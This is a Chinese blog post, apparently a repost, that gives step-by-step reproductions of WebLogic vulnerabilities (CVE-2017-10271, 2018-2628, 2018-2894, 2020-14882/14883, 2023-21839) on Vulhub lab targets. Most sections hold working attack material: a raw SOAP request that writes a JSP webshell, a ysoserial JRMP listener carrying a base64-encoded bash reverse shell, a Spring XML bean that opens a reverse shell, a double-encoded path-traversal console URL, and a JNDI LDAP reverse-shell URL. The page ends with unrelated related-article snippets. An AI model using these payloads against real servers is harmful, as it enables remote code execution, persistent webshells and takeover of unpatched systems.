vulhub weblogic全系列靶场

简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。

需要使用的工具

ysoserial使用不同库制作的放序列化工具:

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
weblogic集成的图形化攻击工具:

https://github.com/KimJun1010/WeblogicTool

JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式

X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式 (github.com)

CVE-2017-10271

XXE漏洞

0x00 漏洞产生原因

CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过精心构建的漏洞来达到任意命令执行

0x01 影响范围

10.3.6.0        12.1.3.0.0        12.2.1.1.0

0x02 漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

这里我将这些地址添加进dirsearch的字典了,原版只有wls-wsat/CoordinatorPortType路径,

###每一次遇到一些漏洞的地址都可以添加进去

默认使用字典地址/usr/lib/python3/dist-packages/dirsearch/db/dicc.txt

!!!!注意我这里时使用的apt安装的dirsearch

0x03 环境

docker-compose搭建的vulhub靶场CVE-2017-10271

0x04 漏洞复现

1. 手工

poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

访问存在漏洞的页面

使用hackbar随意传入一个post参数

将poc传入执行

只需要修改content-type为text/xml即可

访问可知成功写入,后续可通过此poc写入jsp马子

2. 漏洞利用工具

直接放入存在漏洞的url然后选择使用CVE_2017_10271漏洞,直接就可利用

CVE-2018-2628

反序列化漏洞

0x00 漏洞产生原因

该漏洞是因为T3协议而触发的反序列化漏洞,造成的任意命令执行漏洞,导致未授权用户远程命令执行

0x01 影响范围

10.3.6.0    12.1.3.0    12.2.1.2    12.2.1.3

0x02 环境

docker搭建的vulhub靶场

靶场地址:172.28.10.221:7001

0x03 漏洞复现

1.nmap扫是否是T3协议

一般T3协议是默认开启的,但也需要扫一下看是否存在,说不定开发人员给关了

nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 127.0.0.1

-T4   设置扫描速度(1-6)                               -sV    对端口的服务进行扫描

-O    服务器系统扫描                                        -p       指定扫描端口

--script   指定文件脚本

需要使用weblogic-t3-info模块指定去扫是否有T3协议####只针对没打补丁的情况下的检测

(这里我在本地搭建的所以使用的是127.0.0.1)

也可使用集成的工具直接扫

2.漏洞检测(利用dnslog外带)

这里使用的是bp自带的工具

3.漏洞复现

攻击流程

被攻击机——》攻击机(jrmp服务)——》回到被攻击机执行命令——》攻击机接收到shell

在攻击机上执行一下命令

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener+<监听端口>+<java1.7以上则填Jdk7u21>+<要执行的命令>

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'calc'

 攻击机监听端口

尝试将反弹shell到攻击机

将bash命令加密一下

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

开启服务

./java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjgwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}'

这里注意java需要使用jre版本的,并且需要下载ysoserial放在java的bin目录里(也可放在其他地方使用绝对路径调用)

使用工具通过漏洞让被攻击机访问攻击机开启的服务

收到访问流量

成功拿到shell

CVE-2018-2894

任意文件上传漏洞

0x00 漏洞产生原因

weblogic未授权的两个页面存在任意文件上传

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制

0x01 影响范围

10.3.6.0        12.1.3.0        12.2.1.2        12.2.1.3

0x02 环境

weblogic服务器ip:172.28.10.221

还是使用docker搭建环境

0x03 复现信息

  1. 漏洞存在的页面:/ws_utc/begin.do、/ws_utc/config.do
  2. 登录账户密码使用命令查看docker-compose logs | grep password

0x04 漏洞复现

访问漏洞存在的页面

使用获取的账户密码登录(真实环境肯定是需要其他方法进入的,比如弱口令、未授权访问这些)

访问console目录自动跳转登录

启动web测试服务页

然后访问/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

这里把工作目录换为以上路径

bp抓包得到时间戳

因为他的命名方式为时间戳_名字.jsp

上传成功后访问此路径

/ws_utc/css/config/keystore/文件

能访问到就算成功

我这里使用的是冰蝎自带的马子

密码默认的

rebeyond

拿到webshell

CVE-2020-14882——CVE-2020-14883

管理控制台未授权远程命令执行漏洞

0x00 漏洞产生原因

CVE-2020-14882这个漏洞会造成未授权访问,而CVE-2020-14883允许后台用户通过http协议执行任意命令,这两个漏洞联合起来组成的利用链就可以达到任意命令执行的效果

0x01 影响范围

 10.3.6.0.0        12.1.3.0.0        12.2.1.3.0        12.2.1.4.0        14.1.1.0.0

0x02 环境

weblogic服务ip:172.28.10.21

 依旧是docker搭建

0x03 漏洞复现

正常访问登录页面会回显让登录

恶意构造的url,这里%252e%252e%252其实就是两次url加密后的../

/console/css/%252e%252e%252fconsole.portal

这是未授权访问的情况,因为是未授权访问所以这里缺少很多功能

方式1:

com.tangosol.coherence.mvel2.sh.ShellSession

使用此类的方法但是有局限性,只能在weblogic12.2.1以上版本能用,10.3.6版本并不存在此类

########因为这个靶场似乎不能使用还是怎么的,我做起来有问题,所以不做过多展示,直接使用法2

方法2:(这里注意,如果虚拟机不能过物理机防火墙那就把防火墙关了)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法和CVE-2017-10271很相似,也是用到了XML解析的方法反弹shell,但是是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的

首先写一个xml文件,这里我放在桌面的

例如:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value></list></constructor-arg></bean>
</beans>

然后python开启http服务

这里注意,在哪个文件夹下开启的,那么这个文件夹就是根目录

nc监听一下

payload:

http://172.28.10.221:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.194/1.xml")

CVE-2023-21839

0x00 漏洞产生原因

 和CVE2018-2628很相似,都是因为T3协议的缺陷造成的允许未经身份验证的攻击者通过T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露

0x01 影响范围

12.2.1.2.0        12.2.1.1.0        12.2.1.3.0        12.2.1.0.0        12.2.1.4.0        14.1.1.0.0        12.1.2.0.0        12.1.3.0.0        10.3.6.0       

0x02 漏洞测试

用nmap的weblogic-t3-info扫一下是否存在T3协议

 nmap -sV -O -T4 -p 7001 --script weblogic-t3-info 127.0.0.1

这里我是搭建在本地的所以使用127.0.0.1

这一题同样还是使用dnslog外带看是否存在漏洞

利用bp现成的工具

成功收到信息

0x03 漏洞复现

漏洞复现呢可以使用集成的工具更方便,也可使用poc

使用JNDI攻击

使用jndimap构造服务,利用jndi攻击拿shell

攻击机开启服务

java -jar 'C:\Program Files\Java\JNDIMap-main\target\JNDIMap.jar' -i 本机ip

监听端口

使用工具构造攻击

#####使用虚拟机搭建靶场的注意关闭攻击机防火墙

ldap://开启IDAP服务的服务器ip:1389/Basic/ReverseShell/攻击机ip/4444 ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==

拿到shell

######这里后续会补充ssrf和weak_password的漏洞复现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/824503.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动驾驶时代的物联网与车载系统安全:挑战与应对策略

随着特斯拉CEO埃隆马斯克近日对未来出行景象的描绘——几乎所有汽车都将实现自动驾驶&#xff0c;这一愿景愈发接近现实。马斯克生动比喻&#xff0c;未来的乘客步入汽车就如同走进一部自动化的电梯&#xff0c;无需任何手动操作。这一转变预示着汽车行业正朝着高度智能化的方向…

Python学习之-typing详解

前言&#xff1a; Python的typing模块自Python 3.5开始引入&#xff0c;提供了类型系统的扩展&#xff0c;能够帮助程序员定义变量、函数的参数和返回值类型等。这使得代码更易于理解和检查&#xff0c;也方便了IDE和一些工具进行类型检查&#xff0c;提升了代码的质量。 typ…

【每日刷题】Day17

【每日刷题】Day17 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 19. 删除链表的倒数第 N 个结点 - 力扣&#xff08;LeetCode&#xff09; 2. 162. 寻找峰值 - 力扣…

Scratch四级:第02讲 字符串

第02讲 字符串 教练:老马的程序人生 微信:ProgrammingAssistant 博客:https://lsgogroup.blog.csdn.net/ 讲课目录 运算模块:有关字符串的积木块遍历字符串项目制作:“解密”项目制作:“成语接龙”项目制作:“加减法混合运算器”字符串 计算机学会(GESP)中属于三级的内…

YOLOv9改进策略 | 损失函数篇 | EIoU、SIoU、WIoU、DIoU、FocusIoU等二十余种损失函数

一、本文介绍 这篇文章介绍了YOLOv9的重大改进&#xff0c;特别是在损失函数方面的创新。它不仅包括了多种IoU损失函数的改进和变体&#xff0c;如SIoU、WIoU、GIoU、DIoU、EIOU、CIoU&#xff0c;还融合了“Focus”思想&#xff0c;创造了一系列新的损失函数。这些组合形式的…

腾讯AI Lab:“自我对抗”提升大模型的推理能力

本文介绍了一种名为“对抗性禁忌”&#xff08;Adversarial Taboo&#xff09;的双人对抗语言游戏&#xff0c;用于通过自我对弈提升大型语言模型的推理能力。 &#x1f449; 具体的流程 1️⃣ 游戏设计&#xff1a;在这个游戏中&#xff0c;有两个角色&#xff1a;攻击者和防守…

基于Ultrascale+系列GTY收发器64b/66b编码方式的数据传输(一)——Async Gearbox使用及上板测试

于20世纪80年代左右由IBM提出的传统8B/10B编码方式在编码效率上较低&#xff08;仅为80%&#xff09;&#xff0c;为了提升编码效率&#xff0c;Dgilent Techologies公司于2000年左右提出了64b/66b编码并应用于10G以太网中。Xilinx GT手册中没有过多64b/66b编码介绍&#xff0c…

绝地求生:PUBG地形破坏功能上线!分享你的游玩感受及反馈赢丰厚奖励

随着29.1版本更新&#xff0c;地形破坏功能及新道具“镐”正式在荣都地图亮相&#xff01;大家现在可以在荣都地图体验“动手挖呀挖”啦。 快来分享你的游玩感受及反馈&#xff0c;即可参与活动赢取精美奖励&#xff01; 参与方式 以发帖/投稿的形式&#xff0c;在 #一决镐下#…

【记录】Python|Selenium 下载 PDF 不预览不弹窗(2024年)

版本&#xff1a; Chrome 124Python 12Selenium 4.19.0 版本与我有差异不要紧&#xff0c;只要别差异太大比如 Chrome 用 57 之前的版本了&#xff0c;就可以看本文。 如果你从前完全没使用过、没安装过Selenium&#xff0c;可以参考这篇博客《【记录】Python3&#xff5c;Sele…

有用的网址分类

网址分类 Pythonplotninematplotlibnumpyscipypandas 人工智能opencvkeras 工具网站电子工具 Python plotnine plotnine matplotlib matplotlib官网 numpy numpy官网 scipy scipy官网 pandas pandas官网 人工智能 opencv keras 工具网站 电子工具 半导小芯

kafka---topic详解

一、分区与高可用 在Kafka中,事件(events 事件即消息)是以topic的形式进行组织的;同时topic是分区(partitioned)的,这意味着一个topic分布在Kafka broker上的多个“存储桶”(buckets)上。这种数据的分布式放置对于可伸缩性非常重要,因为它允许客户端应用程序同时从多个…

Stable Diffusion WebUI 控制网络 ControlNet 插件实现精准控图-详细教程

本文收录于《AI绘画从入门到精通》专栏&#xff0c;专栏总目录&#xff1a;点这里&#xff0c;订阅后可阅读专栏内所有文章。 大家好&#xff0c;我是水滴~~ 本文主要介绍 Stable Diffusion WebUI 一个比较重要的插件 ControlNet&#xff08;控制网络&#xff09;&#xff0c;主…

前端遇到的问题

1.window.οnlοadfunction(){} 和 $(function(){}); window.onload是js原生事件&#xff1b; $(function(){})是JQuery的方法&#xff1b; 实例&#xff1a;jsp中的元素 $ {html}是通过VelocityEngine生成的html元素 <% page contentType"text/html;charsetUTF-8&qu…

PHP货运搬家/拉货小程序二开源码搭建的功能

运搬家/拉货小程序的二次开发可以添加许多功能&#xff0c;以增强用户体验和提高业务效率。以下是一些可能的功能&#xff1a; 用户端功能&#xff1a; 注册登录&#xff1a;允许用户创建个人账户并登录以使用应用程序。货物发布&#xff1a;允许用户发布他们需要搬运的货物信息…

HTML转EXE 各平台版本(Windows, IOS, Android)

前言&#xff1a; 在几年前&#xff0c;我在盒子论坛中看到有人提供了一个将HTML打包成EXE文件的程序的软件&#xff0c;好像是外国人做的&#xff0c;该软件是收费的。当时我在想&#xff0c;这个功能不是很难实现呀&#xff0c;于是我就有了开发一个HTML转EXE的工具想法&…

python如何写一个将保存数据和读取数据程序合并

在python中如果要保存数据和读取数据&#xff0c;需要分别编写程序&#xff0c;如果要合并起来执行&#xff0c;如果输入的数据没有保存&#xff0c;就保存&#xff0c;如果输入的数据已经保存&#xff0c;就读取保存的内容 思路如下 分别引用path库和json库 首先创立一个js…

数据可视化-ECharts Html项目实战(13)

在之前的文章中&#xff0c;我们深入学习ECharts动态主题切换和自定义ECharts主题。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵的点赞&#xff0c;谢谢。 数据可视化-ECharts Html项…

写后端项目的分页查询时,解决分页不更新

写基于VueSpringBoot项目&#xff0c;实现分页查询功能时&#xff0c;改完代码后&#xff0c;发现页数不更新&#xff1a; 更改处如下&#xff1a; 显示如图&#xff1a; 发现页数没有变化&#xff0c;两条数据还是显示在同一页&#xff0c;而且每页都10条。且重启项目也没有更…

零基础小白,如何入门计算机视觉?

目录 前言 计算机视觉技术学习路线 基础知识 1. 数学基础 2. 编程基础 3. 图像处理基础 基础算法与技术 1. 特征提取与描述符 2. 图像分割与对象检测 3. 三维重建与立体视觉 机器学习与深度学习 1. 机器学习基础 2. 深度学习 高级主题与应用 1. 高级机器学习与深度学习 2. 计算…

基于双向长短期神经网络BILSTM的收盘预测,基于gru神经网络的收盘预测

目录 背影 摘要 LSTM的基本定义 LSTM实现的步骤 BILSTM神经网络 基于双向长短期神经网络BILSTM的收盘预测,基于gru神经网络的收盘预测 完整代码:基于双向长短期神经网络BILSTM的收盘预测,基于gru神经网络的收盘预测(代码完整,数据齐全)资源-CSDN文库 https://download.cs…